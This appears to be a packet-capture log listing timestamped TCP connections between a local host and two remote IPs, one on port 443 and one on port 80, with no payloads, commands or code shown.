Oct 24, 2024 08:59:16.679548025 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.679585934 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.679603100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.679627895 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.679627895 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.679653883 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.681375027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.681415081 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.681452036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.681461096 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.681473017 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.681508064 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.683844090 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.683876991 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.683907986 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.683917046 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.683928967 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.683975935 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.685993910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.686064005 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.686069012 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.686091900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.686124086 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.688899994 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.688977003 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.688978910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.689007044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.689043045 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.691507101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.691576958 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.691595078 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.691608906 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.691643000 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.693252087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.693326950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.693336010 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.693353891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.693384886 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.695991039 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.696059942 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.696059942 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.696095943 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.696126938 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.697805882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.697873116 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.697882891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.697920084 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.697963953 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.699733019 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.699798107 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.699800014 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.699835062 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.699872971 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.701404095 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.702507019 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.702585936 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.702600956 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.702611923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.702644110 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.704406023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.704479933 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.704483032 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.704514027 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.704560995 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.707242966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.707307100 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.707343102 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.707362890 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.707391024 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.710012913 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.710100889 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.710112095 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.710128069 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.710172892 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.712842941 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.712908030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.712930918 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.712953091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.712980986 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.750324011 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.750412941 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.750444889 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.750478029 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.750509024 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.752177000 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.752242088 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.752250910 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.752294064 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.752321959 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.752505064 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:16.752571106 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:16.752767086 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:27.039041042 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.046241045 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.046329975 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.046372890 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.053567886 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703258038 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703353882 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703408957 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703455925 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703480959 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.703501940 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703531981 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.703545094 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703598022 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703598976 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.703809023 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703855038 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703888893 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.703902960 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.703948975 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.709222078 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.709256887 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.709281921 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.709306002 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.709465981 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.709518909 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.819051027 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.819099903 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.819152117 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.819185019 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.819201946 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.819258928 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.824270010 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.824315071 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.824368954 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.824532986 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.824582100 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.824635029 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.829521894 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.829571009 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.829615116 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.829622030 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.829776049 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.829823971 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.829829931 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.834764004 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.834826946 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.834827900 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.834872961 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.834929943 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.834991932 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.835037947 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.835087061 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.840404987 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.840452909 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.840507984 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.840567112 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.840615034 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.840666056 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.845665932 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.845714092 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.845767021 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.845767021 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.845812082 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.845861912 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.934948921 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935024023 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935070038 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935082912 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.935260057 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935306072 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935326099 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.935380936 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935429096 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.935684919 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935789108 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935838938 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.935893059 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.935987949 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.936033964 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.936041117 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.936299086 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.936350107 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.936419964 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.936466932 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.936517000 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.936753035 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.936800003 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.936849117 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.937145948 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.937269926 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.937315941 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.937319994 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.937604904 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.937653065 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.937657118 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.938061953 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.938114882 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.938185930 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.938235044 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.938282013 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.938525915 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.938575029 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.938623905 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.938965082 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.939079046 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.939125061 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.939130068 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.939407110 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.939451933 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.939456940 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.939862013 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.939913988 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.939958096 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.940005064 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.940057039 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.940315008 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.940361977 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.940411091 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.940752983 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.940934896 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.940987110 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.940996885 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.941282034 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.941329002 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.941334009 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.941704988 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.941752911 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.941857100 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.941905975 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.941951036 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.942213058 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.942260027 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.942307949 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.942671061 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.942805052 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.942848921 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.976305008 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.976377010 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.976418972 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.976428986 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:27.976553917 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:27.976610899 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.051163912 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.051261902 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.051310062 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.051322937 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.051562071 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.051608086 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.051608086 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.051847935 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.051894903 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.051896095 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.051942110 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.051985025 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.051985979 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.052032948 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.052082062 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.052638054 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.052685022 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.052727938 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.052730083 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.052983999 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.053028107 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.053030014 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.053076029 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.053117990 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.053119898 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.053165913 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.053208113 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.053925037 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.053987026 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054025888 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054032087 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.054069042 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054114103 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054115057 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.054158926 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054203987 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054204941 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.054703951 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054749966 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.054749966 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054796934 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054838896 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.054841995 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054886103 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.054929972 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.054932117 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.055603027 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.055649042 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.055660963 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.055694103 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.055738926 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.055741072 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.055783987 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.055825949 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.056509972 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.056570053 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.056612968 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.056617975 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.056663990 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.056705952 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.056706905 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.056751013 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.056791067 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.057359934 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.057406902 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.057451010 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.057451010 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.057497978 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.057540894 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.057540894 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.057588100 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.057632923 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.058219910 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.058267117 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.058310032 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.058310986 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.058356047 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.058398008 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.058399916 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.058444977 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.058486938 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.059056997 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.059103966 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.059146881 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.059148073 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.059194088 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.059233904 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.059238911 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.092299938 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.092380047 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.092406988 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.092462063 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.092524052 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.092555046 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.167175055 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.167227983 CEST	49168	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:28.167262077 CEST	80	49168	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:28.167304039 CEST	80	49168	107.172.31.13	192.168.2.22
